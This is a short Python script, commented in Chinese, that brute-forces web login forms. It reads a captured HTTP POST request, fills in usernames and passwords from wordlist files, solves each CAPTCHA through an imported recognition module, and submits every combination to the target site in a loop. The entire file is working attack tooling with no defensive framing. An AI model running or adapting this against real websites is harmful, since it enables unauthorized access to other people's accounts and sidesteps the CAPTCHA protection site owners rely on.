# coding=utf-8
import re,requests,time
import yzm

def BP(link,d,yl):
	'''
	:param link: post url
	:param d: post的数据包
	:param yi: 验证码链接
	:return:
	'''
	nu = 0
	while True:
		nu += 1
		with open('u.txt', 'r') as fo:  # 读取用户
			for li in fo.readlines():
				s1 = d.replace('$u$', '%s') % li.strip('\n')  # 加入用户字典
				# print s1
				with open('p.txt', 'r') as f1:  # 读取密码
					for li in f1.readlines():
						s2 = s1.replace('$p$', '%s') % li.strip('\n')  # 加入密码
						asd = yzm.CAP(yl)#获取验证码
						yz = re.findall(r'^[0-9a-zA-Z]{4}$', asd)  # 这里是纯数字 ^[0-9a-zA-Z]{4}$
						if yz:
							s3 = s2.replace('$y$', '%s') % yz[0]
							ss = s3.split('&')
							li = {}
							for t in ss:
								tt = t.split('=')
								# print tt[0],tt[1]
								li[tt[0]] = tt[1]
							print(li)

							# data = {'pass': '123456', 'user': 'lisi'}
							url = requests.post(url=link, data=li)
							#print("HTTP返回包长度:" + str(len(url.text)))
							print((url.text))
		#print(nu)
		if nu == 50:
			exit()
#print(Ym())
def Po(file,yl):
	'''
	处理数据包
	:return:
	'''
	al = open(file).read()
	u = re.findall(r"POST (\/.*) HTTP", al, re.S)
	#print u[0]
	host = re.findall(r"Host: (.*)", al)
	#print host[0]
	link = 'http://' + host[0] + u[0]
	print("网站地址======>"+link)
	d = re.findall(r'\{(.*)\}', al)
	data = d[0]#post的数据包
	BP(link=link,d=data,yl=yl)
#yl = "http://127.0.0.1:81/code.php"
#Po(yl)


